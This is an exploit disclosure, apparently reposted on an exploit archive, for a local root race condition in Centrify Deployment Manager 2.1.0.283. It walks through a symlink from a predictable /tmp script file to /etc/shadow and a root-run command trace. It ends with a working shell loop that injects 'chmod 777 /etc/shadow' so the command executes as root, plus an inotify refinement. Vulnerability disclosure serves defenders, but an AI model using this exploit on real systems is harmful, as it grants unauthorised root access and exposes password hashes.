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Centrify Deployment Manager 2.1.0.283 Local Root Vulnerability
Centrify Deployment Manager v2.1.0.283 local root 12/7/2012 Taking a little longer look at the software, I managed to win a race condition and get root with files in /tmp. Here is my analysis: root@h0g:/tmp ls -l /etc/shadow -r-------- 1 root shadow 1010 Dec 7 21:42 /etc/shadow root@h0g:/tmp larry@h0g:/tmp$ ln -s /etc/shadow centrify.cmd.0 larry@h0g:/tmp$ ls -l total 24 lrwxrwxrwx 1 larry larry 11 Dec 7 21:48 centrify.cmd.0 -> /etc/shadow After Analyze/Refresh Computer Information is run : root@h0g:/tmp ls -l /etc/shadow -rwxr-xr-x 1 root shadow 165 Dec 7 21:48 /etc/shadow root@h0g:/tmp cat /etc/shadow echo 144d823c-9c22-4d21-8446-4e2d07556177 vmware -v 2> /dev/null |grep 'VMware ESX Server' >/dev/null temp=$? echo af43ab93-cfce-485e-b16f-0d4331e0e421 exit ${temp} root@h0g:/tmp ls -l /etc/shadow -rwxr-xr-x 1 root shadow 165 Dec 7 21:48 /etc/shadow root@h0g:/tmp This sucks we clobber the contents of /etc/shadow and we don't have write permission. No root still. Looking at the history and trace of what was run on the target system we see this: Execute echo "echo 8c8ac888-342b-461f-a0ab-659251f3d602" > /tmp/centrify.cmd.0 Result =0 <----- if we create the file before them, we own it. We can write to it before it's executed and have our command executed. Execute echo "vmware -v 2> /dev/null |grep 'VMware ESX Server' >/dev/null" >> /tmp/centrify.cmd.0 Result =0 Execute echo "temp=\$?" >> /tmp/centrify.cmd.0 Result =0 Execute echo "echo b2449bef-65c1-45e8-9da0-4801200c5c05" >> /tmp/centrify.cmd.0 Result =0 Execute echo "exit \${temp}" >> /tmp/centrify.cmd.0 Result =0 Execute chmod 755 /tmp/centrify.cmd.0 Result =0 Execute dzdo -p "Password:" sh -c "/tmp/centrify.cmd.0" Result =0 <--- dzdo is centrify's sudo equivalent, it's part of the centrify suite. 8c8ac888-342b-461f-a0ab-659251f3d602 b2449bef-65c1-45e8-9da0-4801200c5c05 Execute rm -rf /tmp/centrify.cmd.0 Result =0 Execute id -u Result =0 So our quick dirty exploit: larry@h0g:/tmp$ while (true) ; do echo "chmod 777 /etc/shadow" >> /tmp/centrify.cmd.0 ; done Will get us our command executed: larry@h0g:/tmp$ ls -l /etc/shadow -rwxrwxrwx 1 root shadow 1010 Dec 7 21:57 /etc/shadow larry@h0g:/tmp$ It might work creating the file centrify.cmd.UID, then monitoring it for having the execute bit set with inotify (IN_ATTRIB). When the execute bit is set write our malicious command to the file as it about to be executed by root. Hopefully Kayne won't smash my fingers with a hammer. ;-) Larry W. Cashdollar http://vapid.dhs.org @_larry0 # 0day.today [2024-11-16] #